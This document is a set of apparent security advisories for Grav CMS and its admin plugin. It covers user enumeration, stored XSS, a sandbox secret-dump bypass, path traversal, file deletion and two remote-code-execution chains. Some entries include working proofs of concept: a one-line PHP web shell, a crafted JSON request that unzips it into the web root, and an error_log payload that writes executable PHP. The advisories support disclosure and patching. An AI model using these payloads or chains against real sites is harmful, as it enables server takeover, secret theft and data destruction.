Summary A user enumeration and email disclosure vulnerability exists in Grav v1.7.49.5 with Admin plugin v1.10.49.1. The "Forgot Password" functionality at /admin/forgot leaks information about valid usernames and their associated email addresses through distinct server responses. This allows an attacker to enumerate users and disclose sensitive email addresses, which can be leveraged for targeted attacks such as password spraying, phishing, or social engineering.
Details
The issue resides in the taskForgot() function, which handles the forgot password workflow. Relevant vulnerable logic:
php if (null === $user || $user->state !== 'enabled' || !$to) { ... // Generic message for invalid/non-existing users $this->setMessage($this->translate('PLUGINADMIN.FORGOTINSTRUCTIONSSENTVIAEMAIL')); return $this->createRedirectResponse($current); }
if ($rateLimiter->isRateLimited($username)) { ... $interval = $config->get('plugins.login.maxpwresetsinterval', 2);
// Sensitive message for valid users $this->setMessage($this->translate('PLUGINLOGIN.FORGOTCANNOTRESETITISBLOCKED', $to, $interval), 'error');
return $this->createRedirectResponse($current); }
When an attacker submits the password reset form at /admin/forgot with an invalid username, the application responds with:
Instructions to reset your password have been sent to your email address
However, when a valid username is supplied, and the attacker repeatedly triggers password reset requests, the application responds with:
Cannot reset password for <USEREMAIL>, password reset functionality temporarily blocked, please try later (maximum 60 minutes)
This discrepancy in responses enables: 1. User Enumeration – Attackers can determine if a username exists in the system by analyzing the response. 2. User Email Disclosure – The system discloses the actual email address associated with the account (e.g., admin@localhost.test).
This violates best practices for authentication flows, where responses should remain generic to avoid leaking sensitive information.
PoC 1. Navigate to the Forgot Password page: https://<target>/admin/forgot 1. Submit a reset request with a random/invalid username (e.g., invaliduser):
- Response: Instructions to reset your password have been sent to your email address 3. Submit a reset request with a valid username (e.g., admin). 4. Repeatedly request a reset for the same username until the lockout mechanism triggers. - Response: Cannot reset password for admin@localhost.test, password reset functionality temporarily blocked, please try later (maximum 60 minutes) 5. Observe the leaked email address of the admin account in the error message.
Impact - Severity: Medium - Type: Information Disclosure / User Enumeration - Who is Impacted: All Grav sites using Admin plugin v1.10.49.1 with password reset enabled. - Risks: - Allows attackers to enumerate valid usernames. - Exposes email addresses of admin accounts, which can be used in: - Credential stuffing - Password spraying - Phishing/social engineering campaigns - Further exploitation in combination with other vulnerabilities
Recommendation
- Modify the taskForgot() logic to always return a generic, non-identifying message, regardless of whether the username exists or rate limits are hit.
- Example safe response: ini If the account exists, password reset instructions will be sent.
- Do not include email addresses ($to) or other sensitive data in error messages.
Summary
A Stored Cross-Site Scripting (XSS) vulnerability was identified in the /admin/pages/[page] endpoint of the Grav application. This vulnerability allows attackers to inject malicious scripts into the data[header][metadata], data[header][taxonomy][category], and data[header][taxonomy][tag] parameters. These scripts are stored in the page frontmatter and executed automatically whenever the affected page is accessed or rendered in the administrative interface.
---
Details
Vulnerable Endpoint: POST /admin/pages/[page] Parameters:
- data[header][metadata] - data[header][taxonomy][category] - data[header][taxonomy][tag]
The application fails to properly sanitize user input when saving page metadata or taxonomy fields via the Admin Panel. As a result, an attacker with access to the admin interface can inject a malicious script using these parameters, and the script will be stored in the page's YAML frontmatter. When the page or metadata is rendered (especially in the Admin Panel), the payload is executed in the browser of any user with access.
---
PoC
Payload:
<script>alert('PoC-XXS51')</script>
Steps to Reproduce:
1. Log into the Grav Admin Panel and navigate to Pages. 2. Create or edit a page. 3. Inject the payload above into any of the following fields in the Options tab: - Metadata key name - Category under Taxonomy - Tag under Taxonomy !image
!image
4. Save the page. !image
When the page is loaded again in the Admin Panel or potentially on the frontend (depending on how the metadata is used), the script is executed, confirming the Stored XSS vulnerability.
---
Impact
Stored XSS vulnerabilities can result in serious consequences, including:
- Session hijacking: Attackers can steal authentication cookies or tokens - Malware delivery: Injected scripts can download malicious software - Credential theft: Fake input fields can capture usernames and passwords - Sensitive data exposure: Access to internal metadata and browser data - Administrative access compromise: Especially dangerous in admin-facing interfaces - Phishing attacks: Users can be redirected to external malicious sites - Reputation damage: Executing arbitrary scripts in trusted systems undermines credibility
by CVE-Hunters
Summary
A Stored Cross-Site Scripting (XSS) vulnerability was identified in the /admin/accounts/groups/Grupo endpoint of the Grav application. This vulnerability allows attackers to inject malicious scripts into the data[readableName] parameter. The injected scripts are stored on the server and executed automatically whenever the affected page is accessed by users, posing a significant security risk.
---
Details
Vulnerable Endpoint: POST /admin/accounts/groups/Grupo Parameter: data[readableName]
The application fails to properly validate and sanitize user input in the data[readableName] parameter. This lack of input handling allows attackers to inject arbitrary script content that is stored in the application and executed in the browser of any user who views the affected group configuration.
---
PoC
Payload:
<ScRipT>alert('PoC-XSS')</ScRipT>
1. Navigate to Accounts > Groups in the administrative panel. 2. Create a new group or edit an existing one. 3. In the Display Name field (data[readableName]), insert the payload above and save the changes.
!image
The following HTTP request was generated during this action: !image
4. Next, go to Accounts > Users and open any user profile.
!image
5. The malicious script is executed immediately in the browser when the page loads, confirming the existence of a Stored XSS vulnerability.
!image
---
Impact
Stored XSS vulnerabilities can result in serious consequences, including:
- Session hijacking: Attackers can steal authentication cookies or tokens - Malware delivery: Inserting scripts that download malicious content - Credential theft: Capturing usernames and passwords through injected forms - Sensitive data exposure: Accessing data stored in the browser or the application - Browser takeover: Executing arbitrary commands in the user’s session - Phishing attacks: Redirecting users to fake login or malicious sites - Website defacement: Altering page content shown to users - Reputational damage: Undermining trust in the platform or organization
by CVE-Hunters
Grav is a flat-file CMS. In versions 2.0.0-rc.1 through 2.0.21, the Twig content sandbox fails to restrict the dump and serialize filters (printr, vardump, jsonencode, yamlencode, string): GravExtension::assertSandboxDumpSafe() determines sandbox state by calling SandboxExtension::isSandboxed() without a Source argument, which reports only the global sandbox flag that Grav never enables, so the guard added in GHSA-mc5q-6hpj-rp7j never executes. As a result, an authenticated user with page-edit rights can render {{ config|printr }} in page content with Twig processing enabled and dump Grav's entire merged configuration — printr reflects the real Config object held in a private property of the SandboxConfig facade, bypassing its path redaction — exposing plugin secrets such as SMTP credentials, API tokens, webhook secrets and cache backend passwords. Grav 1.7 is not affected because it ships no Twig content sandbox. The issue is fixed in 2.0.22, where the affected filters are registered with Twig's needsissandboxed flag.
Summary
A logged-in user can run any command on the server. A settings field can fill itself by calling one of Grav's built-in routines, and a safety check is supposed to allow only harmless ones. The check only recognises a routine when its name is written as one piece of text; named as a pair of values instead, it is not examined at all and is passed as safe. Pointing such a field at the routine that unpacks ZIP archives writes a PHP file from an uploaded archive into the site's public folder, which the server then runs.
Details
The check rejects known-dangerous routines and, for those belonging to a component, allows only a short approved list. Both of those cases only apply when the name arrives as a single string. The same routine can be named as a pair (the component and the routine inside it), and in that form the check matches neither case, skips both lists and answers "safe". Grav then calls it, with arguments the attacker supplies in the same field. Any routine shipped with Grav becomes callable.
The one used here is what Grav runs when installing a plugin from an archive. It takes an archive and a destination folder. It does check the names of the files inside, so an archive cannot escape with ../, but the destination is used exactly as given, so naming the folder the website is served from drops the contents there. Getting the archive in is trivial: ZIP is an accepted upload type and the files inside are never examined, so an archive containing a PHP file uploads as ordinary media to a predictable address.
Everything is set up over the web. Saving a plugin's settings stores the values as sent, and the Flex Objects plugin treats each entry of its own directory list as the address of a file describing fields. Pointing that list at the settings file being saved makes one file act as both, so the malicious field is created through a normal settings save with no file edited on the server.
PoC
1. Log in at http://TARGET/login (or /admin). The session cookie is the only credential needed below.
2. Build and upload the zip file. In the panel this is the Media tab; it is stored unchanged at /user/media/evil.zip.
Zip the shell.php file with the php code mentioned below: shell.php: <?php system($GET['c']); ?> zip evil.zip shell.php
3. Send the request (attach your Cookie and X-API-Token):
PATCH /api/v1/config/plugins/flex-objects Content-Type: application/json
{ "directories": ["user/config/plugins/flex-objects.yaml"], "title": "Pwn", "type": "flex-objects", "config": { "data": { "object": "Grav\\Common\\Flex\\Types\\Generic\\GenericObject", "collection": "Grav\\Common\\Flex\\Types\\Generic\\GenericCollection", "index": "Grav\\Common\\Flex\\Types\\Generic\\GenericIndex", "storage": { "class": "Grav\\Framework\\Flex\\Storage\\SimpleStorage", "options": { "formatter": {"class": "Grav\\Framework\\File\\Formatter\\JsonFormatter"}, "folder": "user-data://flex-objects/pwn.json" } } } }, "form": { "validation": "loose", "fields": { "name": {"type": "text", "label": "Name"}, "pwn": {"type": "text", "label": "pwn", "data-default@": [["Grav\\Common\\GPM\\Installer", "unZip"], "user/media/evil.zip", "/absolute/path/to/grav-docroot"]} } } }
4. Trigger it. In the panel, open the new directory and add an object. As a request (attach your Cookie and X-API-Token):
POST /api/v1/flex-objects/flex-objects Content-Type: application/json
{"name": "x"} -> 201
5. Open the file that was written:
http://TARGET/shell.php?c=id -> PWNED:uid=1000(kali) gid=1000(kali) ...
Impact
Remote code execution by a logged-in user, so the whole server is compromised. Commands run as the web server's account.
Verified against: getgrav/grav devel branch, GRAVVERSION = "2.0.15", file index.php
Title Unauthenticated Path Traversal via Missing Directory-Boundary Check in plugin-asset-map.php Static Asset Server (index.php)
Product / Affected Versions - Product: getgrav/grav - File: index.php (top-level front controller, runs before Grav itself boots) - Confirmed present in: devel branch, 2.0.15 - Precondition: requires user/config/plugin-asset-map.php to exist and contain at least one route-prefix mapping ,this is an opt-in mechanism (per the code comment: "Fast static asset serving for plugins that bundle SPA apps"). No core mechanism generates this file automatically; it's created by a plugin that opts into this fast-path. Not reachable on a stock Grav install with no such plugin. Where reachable, it requires zero authentication.
CWE CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') , specific mechanism: a path-prefix containment check performed with plain string comparison (strstartswith) instead of a directory-boundary-aware comparison, allowing escape into any sibling path whose name happens to extend the base directory's name as a string.
Description
index.php implements a fast-path static file server that runs before Grav's own routing/security stack, gated on the presence of an asset-map file:
php $assetMapFile = DIR . '/user/config/plugin-asset-map.php'; if (isfile($assetMapFile)) { $assetMap = require $assetMapFile; foreach ($assetMap as $routePrefix => $diskPath) { if (strstartswith($path, $routePrefix)) { $relPath = substr($path, strlen($routePrefix)); $filePath = DIR . '/' . ltrim($diskPath, '/') . $relPath; $realFile = realpath($filePath); $realBase = realpath(DIR . '/' . ltrim($diskPath, '/')); if ($realFile && $realBase && strstartswith($realFile, $realBase) && isfile($realFile)) { // ... serves $realFile directly, with Content-Type inferred from extension readfile($realFile); exit; } } } }
realpath() correctly resolves .. sequences, so a naive ../../etc/passwd-style traversal that leaves the filesystem entirely is blocked (it wouldn't share the $realBase string prefix). But the containment check itself, strstartswith($realFile, $realBase), has no directory-boundary awareness it's a plain string-prefix test, not "is $realFile inside the $realBase directory." Any resolved path whose string representation merely begins with the same characters as $realBase passes, including sibling directories that extend the base directory's name (assets → assets-secret, assets.bak, assetsold, assets2, etc.) a very common real-world directory-naming pattern (backup dirs, versioned dirs, disabled/legacy dirs sitting alongside the active one).
Live Proof of Concept
Setup: the exact code block above, extracted verbatim from index.php, executed with PHP 8.3.6 against a realistic directory layout (a plugin's active assets/ dir sitting next to an unrelated assets-secret/ dir containing a fake secret):
user/plugins/myplugin/assets/app.js <- intended, public user/plugins/myplugin/assets-secret/config.php <- NOT intended to be served user/config/plugin-asset-map.php: return ['/myplugin-assets' => 'user/plugins/myplugin/assets'];
Legitimate request (/myplugin-assets/app.js): realFile: '/home/claude/grav-poc/user/plugins/myplugin/assets/app.js' realBase: '/home/claude/grav-poc/user/plugins/myplugin/assets' >> WOULD SERVE FILE <<< >> Content: public asset content
Traversal request (/myplugin-assets/../assets-secret/config.php): realFile: '/home/claude/grav-poc/user/plugins/myplugin/assets-secret/config.php' realBase: '/home/claude/grav-poc/user/plugins/myplugin/assets' >> WOULD SERVE FILE <<< >> Content: SECRETAPIKEY=sklivetotallysecret12345
strstartswith('.../assets-secret/config.php', '.../assets') evaluates true because assets-secret literally begins with the characters assets there is no separator-boundary check (e.g. requiring $realBase . '/' as the actual prefix) to prevent this.
Trust-boundary framing (per Grav's own SECURITY.md) This code path requires no Grav account , it runs before Grav even initializes, directly off the raw request path. Per Grav's own stated criteria: "An unauthenticated attacker can achieve RCE, exfiltrate site data, or gain admin-equivalent control. No Grav account required" → this matches the CRITICAL bar exactly, for any deployment where the plugin-asset-map.php mechanism is in active use.
Suggested Fix Append a trailing directory separator before the prefix comparison, or use a proper containment check: php if ($realFile && $realBase && ( $realFile === $realBase || strstartswith($realFile, $realBase . DIRECTORYSEPARATOR) ) && isfile($realFile)) { This is the standard fix for this exact bug class , ensuring the matched prefix ends exactly at a directory boundary, not partway through a longer sibling name.
Affected versions and vulnerable location
- Confirmed on grav core at 78ebfc1 (tag 2.0.13). - Sinks: - system/src/Grav/Common/Data/Blueprint.php:455-458 calluserfuncarray($o, $params) (bare-function dynamic-data provider). - Twin: system/src/Grav/Framework/Flex/FlexDirectory.php:936-938 calluserfuncarray($function, $params). - Validation gate: Blueprint::isSafeDynamicCall() at Blueprint.php:514-536. - Class::method branch (:514-527) uses a strict positive allowlist self::$allowedDynamicCallables. - Bare-function branch (:530-534) uses only a denylist: if (isstring($function) && Utils::isDangerousFunction($function)) return false; return !self::paramsContainDangerousCallable($params);. - Denylist: Utils::isDangerousFunction() (system/src/Grav/Common/Utils.php, list around :2020-2270).
Root cause
GHSA-7pgq/CVE-2026-64850 hardened the Class::method half of the dynamic-callable validation to a positive allowlist because a page-edit account could otherwise name any static method as a provider and reach file/secret gadgets. The bare-function half was left on a denylist (isDangerousFunction). Any bare PHP function not on that list executes.
errorlog is not on the denylist (verified: no occurrence in Utils.php). errorlog($message, 3, $destination) appends attacker-controlled $message to attacker-controlled file $destination, an arbitrary-file-append primitive. paramsContainDangerousCallable() (:587-603) only scans params for dangerous callable strings, so a PHP payload string and a destination path both pass. (streamsocketclient, dl, and mbsendmail are likewise absent, giving SSRF/other primitives.)
Attacker model
The same surface the published dynamic-data advisories accept as reachable: a data-@ directive in a form blueprint the Form plugin assembles from page frontmatter (GHSA-fj2p), or a data@ field in a Flex directory/pages/users blueprint (GHSA-c4wf). A page-edit / blueprint-config account, no shell.
Reachability trace
1. Author a blueprint field with a bare-function data directive, e.g. data-options@: ['errorlog', '<?php system($GET[0]); ?>', 3, 'user/data/x.php']. 2. Blueprint::init() resolves the directive; isSafeDynamicCall('errorlog', $params) reaches the bare-function branch (:530), isDangerousFunction('errorlog') is false, paramsContainDangerousCallable([...]) is false (no callable strings), so it returns true. 3. calluserfuncarray('errorlog', ['<?php ...', 3, 'user/data/x.php']) (:455) appends the PHP payload to user/data/x.php. 4. Writing to a web-served path (or any path later included) yields code execution. The upload extension denylist does not apply, this is a direct errorlog write, not an upload.
Reproduction
Executed end to end against the real Grav\Common\Data\Blueprint class loaded via composer install autoload (PHP 8.5.8, core clone at HEAD 78ebfc1). A harness called the real public Blueprint::isSafeDynamicCall(), then drove the sink and executed the written file:
text [1] isSafeDynamicCall('errorlog', [payload,3,dest]) => true # guard ACCEPTS errorlog (bug) [2] isSafeDynamicCall('system', ['id']) => false # control isSafeDynamicCall('exec', ['id']) => false # control [3] calluserfuncarray('errorlog', ['<?php echo "PWNED"; ?>'.EOL, 3, '/tmp/gravrceproof.php']) file written: /tmp/gravrceproof.php (23 bytes) = <?php echo "PWNED"; ?> [4] php /tmp/gravrceproof.php => PWNED # arbitrary PHP executed (RCE)
The guard returns true for errorlog (and false for the denylisted system/exec controls), the errorlog sink wrote attacker PHP to disk, and executing that file yielded PWNED. Source confirmation:
bash rg -n "errorlog|streamsocketclient|mbsendmail" system/src/Grav/Common/Utils.php # no hits rg -n "isDangerousFunction|allowedDynamicCallables|calluserfuncarray" system/src/Grav/Common/Data/Blueprint.php
errorlog absent from Utils.php; Blueprint.php gates the bare-function branch on isDangerousFunction only, while the Class::method branch uses the positive allowlist.
Suggested fix
Convert the bare-function branch to a positive allowlist, symmetric with the Class::method allowlist at :523 (only the option-provider functions first-party blueprints actually use). A denylist cannot be complete: errorlog (arbitrary append), streamsocketclient (SSRF), and others must otherwise each be enumerated.
Severity and CVSS reasoning
Suggested severity: High (same class and reach as GHSA-fj2p / CVE-2026-64850).
Suggested CVSS:3.1 vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H (9.6) for the RCE outcome; the maintainer may prefer the exact rating they gave GHSA-fj2p.
- PR:L: a blueprint/page-edit account, not super. - C:H/I:H/A:H: arbitrary file write leading to code execution.
How I found it and a note on tooling
I compared the two branches of isSafeDynamicCall(): the Class::method branch is a positive allowlist (the GHSA-7pgq fix) while the bare-function branch is a denylist, then checked the denylist for append/exec-capable functions and found errorlog missing. I used AI assistance for enumeration and drafting. I then executed the real Blueprint::isSafeDynamicCall() (loaded via composer autoload) to confirm it accepts errorlog and rejects system/exec, and drove the errorlog sink to write and execute attacker PHP. Verification is executed end to end against the real class; I did not run it through a full HTTP request into a bootstrapped Grav site.
Path Traversal in MediaUploadTrait::deleteFile() Allows Arbitrary File Deletion
Summary
A path traversal vulnerability in MediaUploadTrait::deleteFile() allows an authenticated user with media management permissions to delete arbitrary files on the server. The method validates only the basename portion of the filename using Utils::checkFilename(), while the directory path (which may contain ../ sequences) is preserved and passed unvalidated to unlink(). This enables directory escape from the intended media storage path.
Severity
High (8.1) - CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H
CWE
CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Details
In system/src/Grav/Common/Media/Traits/MediaUploadTrait.php, the deleteFile() method (lines 332-365) performs filename validation only on the basename, not the full path:
php public function deleteFile(string $filename, ?array $settings = null): void { $settings = $this->getUploadSettings($settings); $filesystem = Filesystem::getInstance(false);
// Line 339-340: Only the BASENAME is validated $basename = $filesystem->basename($filename); // e.g. "evil.jpg" from "../../evil.jpg" if (!Utils::checkFilename($basename)) { // passes - no traversal in basename throw new RuntimeException(/ ... /); }
$path = $settings['destination'] ?? $this->getPath(); // ...
// Line 353: Full pathname (with traversal) is preserved $pathname = $filesystem->pathname($filename); // "../../"
// Line 356-357: Traversal path reconstructed [$base, $ext,,] = $this->getFileParts($basename); $name = "{$pathname}{$base}.{$ext}"; // "../../evil.jpg"
// Line 360: Passed to doRemove() $this->doRemove($name, $path); }
doRemove() (line 521-582) then calls:
php // Line 538 unlink("{$folder}/{$filename}"); // e.g. unlink("/var/www/grav/user/pages/mypage/../../config/system.yaml")
Utils::checkFilename() (lines 1022-1044) properly checks for /, \, and .., but it is applied to $filesystem->basename($filename) (the last path component only), so traversal sequences in the directory portion are never validated.
Data flow from user input
The vulnerability is reachable through the Flex media handling pipeline:
1. FlexMediaTrait::setUpdatedMedia() (line 386) iterates form flash data where $filename is the array key - user-controlled 2. For file deletions ($file is null, line 396), NO upload validation is performed (the checkUploadedFile() call at line 401 only executes when $file is truthy) 3. The raw filename is stored in $this->uploads at line 414 4. saveUpdatedMedia() (line 499) calls $media->deleteFile($filename, $settings) with the unsanitized filename
Sibling: renameFile()
The same pattern exists in renameFile() (lines 374-405) which has even weaker validation - it performs NO checkFilename() call at all. While renameFile() currently has no callers in the core codebase, it is part of the public MediaUploadInterface and should be fixed as defense-in-depth.
Proof of Concept
Environment: Grav CMS 2.0.16 with admin plugin
The attack requires an authenticated admin user with page/media editing permissions (not super-admin).
1. Create a target file: bash echo "DELETEME" > /var/www/grav/user/data/target.txt
2. Submit a Flex object form (e.g. page edit) with a crafted media deletion where the filename key contains path traversal:
POST /admin/pages/mypage/task:save Content-Type: multipart/form-data
The form flash data includes a media deletion entry with key: "../../data/target.txt" -> null (deletion marker)
3. When saveUpdatedMedia() processes the deletion queue: - $filename = ../../data/target.txt - deleteFile("../../data/target.txt") is called - $basename = target.txt (passes checkFilename()) - $pathname = ../../data/ - $name = ../../data/target.txt - doRemove() calls unlink("/var/www/grav/user/pages/mypage/../../data/target.txt") - Which resolves to unlink("/var/www/grav/user/data/target.txt")
4. The file is deleted outside the intended media directory.
Impact
An authenticated user with media management permissions can: - Delete configuration files (user/config/system.yaml, user/config/security.yaml) - Delete other pages' content files - Delete authentication-related files (user account YAML files) - Cause denial of service by removing critical application files - Potentially escalate privileges by removing security configuration
Suggested Fix
Apply Utils::checkFilename() to the full $filename parameter before decomposing it, or reject any filename containing directory separators or .. sequences:
php public function deleteFile(string $filename, ?array $settings = null): void { $settings = $this->getUploadSettings($settings); $filesystem = Filesystem::getInstance(false);
// Validate the FULL filename, not just the basename if (!Utils::checkFilename($filename)) { throw new RuntimeException(/ ... /); }
// ... rest unchanged }
The same fix should be applied to renameFile() for both $from and $to parameters.
References
- Vulnerable file: system/src/Grav/Common/Media/Traits/MediaUploadTrait.php lines 332-365, 521-582 - Caller: system/src/Grav/Framework/Flex/Traits/FlexMediaTrait.php lines 386-414, 490-499 - Sibling: system/src/Grav/Common/Media/Traits/MediaUploadTrait.php lines 374-405 (renameFile) - Related GHSA: GHSA-g6j3-8jv9-ch5f (path traversal in PagesController::batchCopy - different file, same bug class)
Disclosure
This vulnerability was discovered using AI-assisted security research tools.